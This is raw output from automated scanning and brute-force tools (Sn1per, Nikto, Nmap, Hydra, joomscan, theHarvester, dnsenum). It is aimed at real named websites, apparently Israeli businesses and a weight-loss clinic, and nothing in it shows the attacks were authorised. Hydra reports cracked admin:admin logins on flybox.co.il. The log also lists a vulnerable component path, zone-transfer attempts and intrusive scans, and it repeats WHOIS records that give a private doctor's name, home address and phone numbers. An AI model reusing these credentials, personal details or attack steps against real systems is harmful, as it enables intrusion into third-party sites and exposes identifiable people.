DNS:bigsale215store.tk, DNS:bigsale248store.tk, DNS:bigsale281store.tk, DNS:bjfhiu.tk, DNS:bsmartbuyer.tk, DNS:bsmartonlineshop.tk, DNS:btokoonlinemurah.tk, DNS:budgettrouwfilm.nl, DNS:dbranded.tk, DNS:eawesomemarket.tk, DNS:emmom.tk, DNS:flybox.co.il, DNS:fmarketplus.tk, DNS:ftopbuy.tk, DNS:h1xv9oacp.ga, DNS:ialliexpress.tk, DNS:iowist.com, DNS:ipaytoko.tk, DNS:iperfectmarket.tk, DNS:ismartxpress.tk, DNS:jsmartonlineshop.tk, DNS:jtopcharts.tk, DNS:lalliexpress.tk, DNS:lpayperclick.tk, DNS:lpremiumonlineshop.tk, DNS:onlinekanyakumari.com, DNS:osmartbuyer.tk, DNS:pawesomemarket.tk, DNS:pbelimudah.tk, DNS:rlinkaliexpress.tk, DNS:rnesaliexpress.tk, DNS:samriddle.website, DNS:snapcracka.us, DNS:stokoonlinemurah.tk, DNS:taeaj.tk, DNS:techxpertsllc.com, DNS:vbrs.co.uk, DNS:wholesaleonline114.tk, DNS:wholesaleonline4.tk, DNS:wholesaleonline55.tk, DNS:wittcatt.stream
Issuer:   COMODO ECC Domain Validation Secure Server CA 2

Not valid before: Dec 17 00:00:00 2017 GMT
Not valid after:  Jun 25 23:59:59 2018 GMT
 ███▄ ▄███▓ ▄▄▄        ██████   ██████  ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
▓██▒▀█▀ ██▒▒████▄    ▒██    ▒ ▒██    ▒ ▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▓██    ▓██░▒██  ▀█▄  ░ ▓██▄   ░ ▓██▄   ▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
▒██    ▒██ ░██▄▄▄▄██   ▒   ██▒  ▒   ██▒▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
▒██▒   ░██▒ ▓█   ▓██▒▒██████▒▒▒██████▒▒░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
░ ▒░   ░  ░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
░  ░      ░  ▒   ▒▒ ░░ ░▒  ░ ░░ ░▒  ░ ░▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒ 
░      ░     ░   ▒   ░  ░  ░  ░  ░  ░   ░    ░   ░ ░      ░      ░    ░ ░  ░ 
       ░         ░  ░      ░        ░   ░          ░  ░   ░  ░   ░  ░   ░    
                                             ░                        ░      
+ -- --=[MÄŚŚBĻËËĐ V20160303 BÅž 1Ņ3 @ ĊŖÖŎĐŚȞÏËĻĐ - https://crowdshield.com
+ -- --=[Scan Complete!
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          104.31.75.239
+ Target Hostname:    flybox.co.il
+ Target Port:        8443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /OU=Domain Control Validated/OU=PositiveSSL Multi-Domain/CN=sni165065.cloudflaressl.com
                   Ciphers:  ECDHE-ECDSA-CHACHA20-POLY1305
                   Issuer:   /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO ECC Domain Validation Secure Server CA 2
+ Start Time:         2017-12-31 07:35:44 (GMT-5)
---------------------------------------------------------------------------
+ Server: cloudflare
+ Cookie __cfduid created without the secure flag
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'cf-ray' found, with contents: 3d5d47cf2eb2472e-EWR
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Hostname 'flybox.co.il' does not match certificate's names: sni165065.cloudflaressl.com
+ Scan terminated:  20 error(s) and 6 item(s) reported on remote host
+ End Time:           2017-12-31 07:44:35 (GMT-5) (531 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-31 07:44 EST
Nmap scan report for flybox.co.il (104.31.74.239)
Host is up (0.15s latency).
Other addresses for flybox.co.il (not scanned): 2400:cb00:2048:1::681f:4aef 2400:cb00:2048:1::681f:4bef 104.31.75.239

PORT     STATE    SERVICE   VERSION
8443/tcp filtered https-alt
Too many fingerprints match this host to give specific OS details
Network Distance: 9 hops

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   45.65 ms 10.13.0.1
2   45.70 ms 37.187.24.253
3   45.66 ms 10.50.225.60
4   45.71 ms 10.17.129.40
5   45.62 ms 10.73.0.50
6   45.72 ms 10.95.33.10
7   59.64 ms be100-1110.th2-1-a9.fr.eu (213.186.32.215)
8   59.62 ms cloudflare.par.franceix.net (37.49.237.49)
9   59.57 ms 104.31.74.239

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds
 + -- --=[Port 8888 closed... skipping.
 + -- --=[Port 10000 closed... skipping.
 + -- --=[Port 16992 closed... skipping.
 + -- --=[Port 27017 closed... skipping.
 + -- --=[Port 27018 closed... skipping.
 + -- --=[Port 27019 closed... skipping.
 + -- --=[Port 28017 closed... skipping.
 + -- --=[Port 49152 closed... skipping.
 + -- ----------------------------=[Scanning For Common Vulnerabilities]=----- -- +
 + -- ----------------------------=[Skipping Full NMap Port Scan]=------------ -- +
 + -- ----------------------------=[Running Brute Force]=--------------------- -- +
 __________                __         ____  ___
 \______   \_______ __ ___/  |_  ____ \   \/  /
  |    |  _/\_  __ \  |  \   __\/ __ \ \     / 
  |    |   \ |  | \/  |  /|  | \  ___/ /     \ 
  |______  / |__|  |____/ |__|  \___  >___/\  \ 
         \/                         \/      \_/

 + -- --=[BruteX v1.7 by 1N3
 + -- --=[http://crowdshield.com


################################### Running Port Scan ##############################

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-31 07:44 EST
Nmap scan report for flybox.co.il (104.31.74.239)
Host is up (0.64s latency).
Other addresses for flybox.co.il (not scanned): 2400:cb00:2048:1::681f:4aef 2400:cb00:2048:1::681f:4bef 104.31.75.239
Not shown: 23 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds

################################### Running Brute Force ############################

 + -- --=[Port 21 closed... skipping.
 + -- --=[Port 22 closed... skipping.
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 80 opened... running tests...
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-31 07:45:09
[DATA] max 1 task per 1 server, overall 1 task, 1496 login tries (l:34/p:44), ~1496 tries per task
[DATA] attacking http-get://flybox.co.il:80//
[80][http-get] host: flybox.co.il   login: admin   password: admin
[STATUS] attack finished for flybox.co.il (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-31 07:45:13
 + -- --=[Port 110 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 opened... running tests...
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-31 07:45:13
[DATA] max 1 task per 1 server, overall 1 task, 1496 login tries (l:34/p:44), ~1496 tries per task
[DATA] attacking http-gets://flybox.co.il:443//
[443][http-get] host: flybox.co.il   login: admin   password: admin
[STATUS] attack finished for flybox.co.il (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-31 07:45:18
 + -- --=[Port 445 closed... skipping.
 + -- --=[Port 512 closed... skipping.
 + -- --=[Port 513 closed... skipping.
 + -- --=[Port 514 closed... skipping.
 + -- --=[Port 993 closed... skipping.
 + -- --=[Port 1433 closed... skipping.
 + -- --=[Port 1521 closed... skipping.
 + -- --=[Port 3306 closed... skipping.
 + -- --=[Port 3389 closed... skipping.
 + -- --=[Port 5432 closed... skipping.
 + -- --=[Port 5900 closed... skipping.
 + -- --=[Port 5901 closed... skipping.
 + -- --=[Port 8000 closed... skipping.
 + -- --=[Port 8080 opened... running tests...
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-31 07:45:18
 + -- --=[Port 8100 closed... skipping.
 + -- --=[Port 6667 closed... skipping.
#######################################################################################################################################
Hostname 	www.doctorarik.co.il 	  	ISP 	Bezeq International (AS8551)
Continent 	Asia 	  	Flag
IL
Country 	Israel 	  	Country Code 	IL (ISR)
Region 	Unknown 	  	Local time 	31 Dec 2017 06:09 IST
City 	Unknown 	  	Latitude 	31.5
IP Address 	62.219.91.10 	  	Longitude 	34.75
#######################################################################################################################################
[i] Scanning Site: http://doctorarik.co.il



B A S I C   I N F O
====================


[+] Site Title: הרזיה, הרזיה בריאה, הרזיה נכונה- מרפאת הרזיה של ד"ר אריק ויסבורד
[+] IP address: 62.219.91.10
[+] Web Server: Microsoft-IIS/7.5
[+] CMS: WordPress
[+] Cloudflare: Not Detected
[+] Robots File: Could NOT Find robots.txt!




W H O I S   L O O K U P
========================


% The data in the WHOIS database of the .il registry is provided
% by ISOC-IL for information purposes, and to assist persons in
% obtaining information about or related to a domain name
% registration record. ISOC-IL does not guarantee its accuracy.
% By submitting a WHOIS query, you agree that you will use this
% Data only for lawful purposes and that, under no circumstances
% will you use this Data to: (1) allow, enable, or otherwise
% support the transmission of mass unsolicited, commercial
% advertising or solicitations via e-mail (spam);
% or  (2) enable high volume, automated, electronic processes that
% apply to ISOC-IL (or its systems).
% ISOC-IL reserves the right to modify these terms at any time.
% By submitting this query, you agree to abide by this policy.

query:        doctorarik.co.il

reg-name:     doctorarik
domain:       doctorarik.co.il

descr:        Arik Weisbord
descr:        A.D. Gordon 14
descr:        Herzelya
descr:        4643301
descr:        Israel
phone:        +972 54 4277997
fax-no:       +972 9 9552093
e-mail:       drarik AT netvision.net.il
admin-c:      DT-AW7749-IL
tech-c:       DT-AW7749-IL
zone-c:       DT-AW7749-IL
nserver:      ns1.dtnt.info
nserver:      ns2.dtnt.info
validity:     03-04-2018
DNSSEC:       unsigned
status:       Transfer Locked
changed:      domain-registrar AT isoc.org.il 20160403 (Assigned)

person:       Arik Weisbord
address:      Arik Weisbord
address:      A.D. Gordon 14
address:      Herzelya
address:      4643301
address:      Israel
phone:        +972 54 4277997
fax-no:       +972 9 9552093
e-mail:       drarik AT netvision.net.il
nic-hdl:      DT-AW7749-IL
changed:      domain-registrar AT isoc.org.il 20160403

registrar name: Domain The Net Technologies Ltd
registrar info: http://www.domainthenet.com

% Rights to the data above are restricted by copyright.




G E O  I P  L O O K  U P
=========================

[i] IP Address: 62.219.91.10
[i] Country: IL
[i] State: N/A
[i] City: N/A
[i] Latitude: 31.500000
[i] Longitude: 34.750000




H T T P   H E A D E R S
=======================


[i]  HTTP/1.1 301 Moved Permanently
[i]  Content-Type: text/html; charset=UTF-8
[i]  Location: http://www.doctorarik.co.il/
[i]  Server: Microsoft-IIS/7.5
[i]  X-Powered-By: ASP.NET
[i]  X-Powered-By-Plesk: PleskWin
[i]  Date: Sun, 31 Dec 2017 04:17:21 GMT
[i]  Connection: close
[i]  Content-Length: 151
[i]  HTTP/1.1 200 OK
[i]  Content-Type: text/html; charset=UTF-8
[i]  Server: Microsoft-IIS/7.5
[i]  X-Pingback: http://www.doctorarik.co.il/xmlrpc.php
[i]  Set-Cookie: PHPSESSID=009994e511dd64fd22a381fed060f747; path=/
[i]  X-Powered-By: ASP.NET
[i]  X-Powered-By-Plesk: PleskWin
[i]  Date: Sun, 31 Dec 2017 04:17:22 GMT
[i]  Connection: close
[i]  Content-Length: 19894




D N S   L O O K U P
===================

doctorarik.co.il.	10799	IN	A	62.219.91.10
doctorarik.co.il.	10799	IN	MX	10 mail.doctorarik.co.il.
doctorarik.co.il.	10799	IN	MX	50 mail.dtnt.info.
doctorarik.co.il.	10799	IN	SOA	ns1.dtnt.info.doctorarik.co.il. support.dtnt.com.doctorarik.co.il. 2015040700 5400 3600 2419199 3600
doctorarik.co.il.	21599	IN	NS	ns1.dtnt.info.
doctorarik.co.il.	21599	IN	NS	ns3.dtnt.info.
doctorarik.co.il.	21599	IN	NS	ns2.dtnt.info.




S U B N E T   C A L C U L A T I O N
====================================

Address       = 62.219.91.10
Network       = 62.219.91.10 / 32
Netmask       = 255.255.255.255
Broadcast     = not needed on Point-to-Point links
Wildcard Mask = 0.0.0.0
Hosts Bits    = 0
Max. Hosts    = 1   (2^0 - 0)
Host Range    = { 62.219.91.10 - 62.219.91.10 }



N M A P   P O R T   S C A N
============================


Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-31 04:17 UTC
Nmap scan report for doctorarik.co.il (62.219.91.10)
Host is up (0.14s latency).
rDNS record for 62.219.91.10: cust-62-219-91-10.cust.bezeqint.net
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          Microsoft IIS httpd 7.5
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds



S U B - D O M A I N   F I N D E R
==================================


[i] Total Subdomains Found : 1

[+] Subdomain: mail.doctorarik.co.il
[-] IP: 62.219.91.130
[!] IP Address : 62.219.91.10
[!] Server: Microsoft-IIS/7.5
[!] Powered By: ASP.NET
[-] Clickjacking protection is not in place.
[+] Operating System : Windows
[!] www.doctorarik.co.il doesn't seem to use a CMS
[+] Honeypot Probabilty: 0%
----------------------------------------
[+] Robots.txt retrieved
User-agent: *
Disallow:

----------------------------------------
PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http          Microsoft IIS httpd 7.5
110/tcp  filtered pop3
143/tcp  filtered imap
443/tcp  open     ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
----------------------------------------

[+] DNS Records
ns2.dtnt.info. (62.219.91.150) AS8551 Bezeq International Israel
ns1.dtnt.info. (62.219.91.139) AS8551 Bezeq International Israel
ns3.dtnt.info. (52.36.225.219) AS16509 Amazon.com, Inc. United States

[+] MX Records
50 (62.219.91.130) AS8551 Bezeq International Israel

[+] MX Records
10 (62.219.91.130) AS8551 Bezeq International Israel

[+] Host Records (A)
www.doctorarik.co.ilHTTP: (cust-62-219-91-10.cust.bezeqint.net) (62.219.91.10) AS8551 Bezeq International Israel

[+] TXT Records

[+] DNS Map: https://dnsdumpster.com/static/map/www.doctorarik.co.il.png

[>] Initiating 3 intel modules
[>] Loading Alpha module (1/3)
[>] Beta module deployed (2/3)
[>] Gamma module initiated (3/3)
No emails found
No hosts found
[+] Virtual hosts:
-----------------
[>] Crawling the target for fuzzable URLs
Vulnerability Entries: 611
Last update: February 2, 2012

Use "update" option to update the database
Use "check" option to check the scanner update
Use "download" option to download the scanner latest version package
Use svn co to update the scanner and the database
svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan


Target: http://doctorarik.co.il

Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET


## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ..... OK


## Detecting Joomla! based Firewall ...

[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.

[!] A security scanner (com_securityscanner/com_securityscan) is detected.

[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure ;)

[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.

[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.


## Fingerprinting in progress ...

~Unable to detect the version. Is it sure a Joomla?

## Fingerprinting done.




Vulnerabilities Discovered
==========================

# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes


# 379
Info -> Component: com_rss DOS Vulnerability
Versions effected: Joomla! <= 1.0.7
Check: /components/com_rss/
Exploit: /index2.php?option=com_rss&feed=test
Vulnerable? Yes
[92m + -- ----------------------------=[Running Nslookup]=------------------------ -- +
Server:		192.168.1.254
Address:	192.168.1.254#53

Non-authoritative answer:
Name:	doctorarik.co.il
Address: 62.219.91.10

doctorarik.co.il has address 62.219.91.10
doctorarik.co.il mail is handled by 10 mail.doctorarik.co.il.
doctorarik.co.il mail is handled by 50 mail.dtnt.info.
 + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is doctorarik.co.il
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping  -  ICMP echo discovery module
[x] [2] ping:tcp_ping  -  TCP-based ping discovery module
[x] [3] ping:udp_ping  -  UDP-based ping discovery module
[x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan  -  TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
[x] [12] fingerprint:smb  -  SMB fingerprinting module
[x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on 62.219.91.10. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on 62.219.91.10. Module test failed
[-] No distance calculation. 62.219.91.10 appears to be dead or no ports known
[+] Host: 62.219.91.10 is down (Guess probability: 0%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.
 + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +

% The data in the WHOIS database of the .il registry is provided
% by ISOC-IL for information purposes, and to assist persons in
% obtaining information about or related to a domain name
% registration record. ISOC-IL does not guarantee its accuracy.
% By submitting a WHOIS query, you agree that you will use this
% Data only for lawful purposes and that, under no circumstances
% will you use this Data to: (1) allow, enable, or otherwise
% support the transmission of mass unsolicited, commercial
% advertising or solicitations via e-mail (spam);
% or  (2) enable high volume, automated, electronic processes that
% apply to ISOC-IL (or its systems).
% ISOC-IL reserves the right to modify these terms at any time.
% By submitting this query, you agree to abide by this policy.

query:        doctorarik.co.il

reg-name:     doctorarik
domain:       doctorarik.co.il

descr:        Arik Weisbord
descr:        A.D. Gordon 14
descr:        Herzelya
descr:        4643301
descr:        Israel
phone:        +972 54 4277997
fax-no:       +972 9 9552093
e-mail:       drarik AT netvision.net.il
admin-c:      DT-AW7749-IL
tech-c:       DT-AW7749-IL
zone-c:       DT-AW7749-IL
nserver:      ns1.dtnt.info
nserver:      ns2.dtnt.info
validity:     03-04-2018
DNSSEC:       unsigned
status:       Transfer Locked
changed:      domain-registrar AT isoc.org.il 20160403 (Assigned)

person:       Arik Weisbord
address:      Arik Weisbord
address:      A.D. Gordon 14
address:      Herzelya
address:      4643301
address:      Israel
phone:        +972 54 4277997
fax-no:       +972 9 9552093
e-mail:       drarik AT netvision.net.il
nic-hdl:      DT-AW7749-IL
changed:      domain-registrar AT isoc.org.il 20160403

registrar name: Domain The Net Technologies Ltd
registrar info: http://www.domainthenet.com

% Rights to the data above are restricted by copyright.
 + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Full harvest..
[-] Searching in Google..
	Searching 0 results...
	Searching 100 results...
	Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
[-] Searching in Exalead..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
	Searching 250 results...


[+] Emails found:
------------------
No emails found

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
62.219.91.10:www.doctorarik.co.il
[+] Virtual hosts:
==================
62.219.91.10	www.metrology.co.il
62.219.91.10	www.bonbi.co.il
62.219.91.10	zantkeren.co.il
62.219.91.10	www.askal.co.il
62.219.91.10	www.joles.co.il
62.219.91.10	www.zuk-m.co.il
62.219.91.10	www.hotel-dead-sea.com
62.219.91.10	fr.informationvine.com
62.219.91.10	www.shabat-chatan.co.il
62.219.91.10	www.lahav-y.co.il
62.219.91.10	www.servadio
62.219.91.10	tami-4.com
62.219.91.10	www.chortkow.org.il
62.219.91.10	zahi.co.il
62.219.91.10	www.hotel-funday.co.il
62.219.91.10	www.m-bol.co.il
62.219.91.10	synergy-it.co.il
62.219.91.10	kdc.co.il
62.219.91.10	batyarotem.co.il
62.219.91.10	www.tbh.co.il
62.219.91.10	www.tarsis-agrichem.co.il
62.219.91.10	www.israel-tours-operator.com
62.219.91.10	www.rdpeled
62.219.91.10	4x4bike.co.il
62.219.91.10	masad.co.il
62.219.91.10	www.bedouintent.co.il
62.219.91.10	fac.co.il
62.219.91.10	zbcigar.co.il
62.219.91.10	www.romantic-funday.co.il
62.219.91.10	www.doctorarik.co.il
62.219.91.10	www.batei-malon-eilat.co.il
62.219.91.10	servadio.co.il
62.219.91.10	www.nofesh-baaretz.co.il
62.219.91.10	rshein-arc.co.il
62.219.91.10	www.rshein-arc.co.il
62.219.91.10	www.eilat-groups.co.il
62.219.91.10	www.horses.org.il
62.219.91.10	gibush.co.il
62.219.91.10	www.keshet-enoshit.co.il
62.219.91.10	www.fundays.co.il
62.219.91.10	www.gibush.co.il
62.219.91.10	www.conferences.co.il
62.219.91.10	www.yemei-gibush.co.il
62.219.91.10	www.y-huledet.co.il
62.219.91.10	habaitshelanat.co.il
62.219.91.10	www.deadsea-pinuk.co.il
62.219.91.10	www.matkot1.co.il

******************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                         |___/                      *
* Metagoofil Ver 2.2                                 *
* Christian Martorella                               *
* Edge-Security.com                                  *
* cmartorella_at_edge-security.com                   *
******************************************************

[-] Starting online search...

[-] Searching for doc files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for pdf files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for xls files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for csv files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for txt files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------

processing
user
email

[+] List of users found:
--------------------------

[+] List of software found:
-----------------------------

[+] List of paths and servers found:
---------------------------------------

[+] List of e-mails found:
----------------------------
 + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +

; <<>> DiG 9.11.2-5-Debian <<>> -x doctorarik.co.il
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 1707
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;il.co.doctorarik.in-addr.arpa.	IN	PTR

;; AUTHORITY SECTION:
in-addr.arpa.		3600	IN	SOA	b.in-addr-servers.arpa. nstld.iana.org. 2017102519 1800 900 604800 3600

;; Query time: 105 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Sat Dec 30 23:17:21 EST 2017
;; MSG SIZE  rcvd: 126

dnsenum VERSION:1.2.4

-----   doctorarik.co.il   -----


Host's addresses:
__________________

doctorarik.co.il.                        10686    IN    A        62.219.91.10


Name Servers:
______________

ns3.dtnt.info.                           28800    IN    A        52.36.225.219
ns2.dtnt.info.                           28799    IN    A        62.219.91.150
ns1.dtnt.info.                           28799    IN    A        62.219.91.139


Mail (MX) Servers:
___________________

mail.doctorarik.co.il.                   10800    IN    A        62.219.91.130
mail.dtnt.info.                          28800    IN    A        62.219.91.130


Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for doctorarik.co.il on ns3.dtnt.info ...

Trying Zone Transfer for doctorarik.co.il on ns2.dtnt.info ...

Trying Zone Transfer for doctorarik.co.il on ns1.dtnt.info ...

brute force file not specified, bay.
 + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for doctorarik.co.il
[-] verbosity is enabled, will show the subdomains results in realtime
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
Yahoo: www.doctorarik.co.il
Virustotal: www.doctorarik.co.il
DNSdumpster: mail.doctorarik.co.il
[-] Saving results to file: /usr/share/sniper/loot/domains/domains-doctorarik.co.il.txt
[-] Total Unique Subdomains Found: 2
www.doctorarik.co.il
mail.doctorarik.co.il

 ╔═╗╦═╗╔╦╗╔═╗╦ ╦
 ║  ╠╦╝ ║ ╚═╗╠═╣
 ╚═╝╩╚═ ╩o╚═╝╩ ╩
 + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +

 [+] Domains saved to: /usr/share/sniper/loot/domains/domains-doctorarik.co.il-full.txt

 + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
 + -- ----------------------------=[Checking Email Security]=----------------- -- +

 + -- ----------------------------=[Pinging host]=---------------------------- -- +
PING doctorarik.co.il (62.219.91.10) 56(84) bytes of data.

--- doctorarik.co.il ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms


 + -- ----------------------------=[Running TCP port scan]=------------------- -- +

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-30 23:18 EST
Warning: 62.219.91.10 giving up on port because retransmission cap hit (2).
Nmap scan report for doctorarik.co.il (62.219.91.10)
Host is up (0.43s latency).
rDNS record for 62.219.91.10: cust-62-219-91-10.cust.bezeqint.net
Not shown: 468 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
443/tcp  open  https
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 14.04 seconds

 + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
 + -- --=[Port 21 opened... running tests...

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-30 23:18 EST
Nmap scan report for doctorarik.co.il (62.219.91.10)
Host is up (0.19s latency).
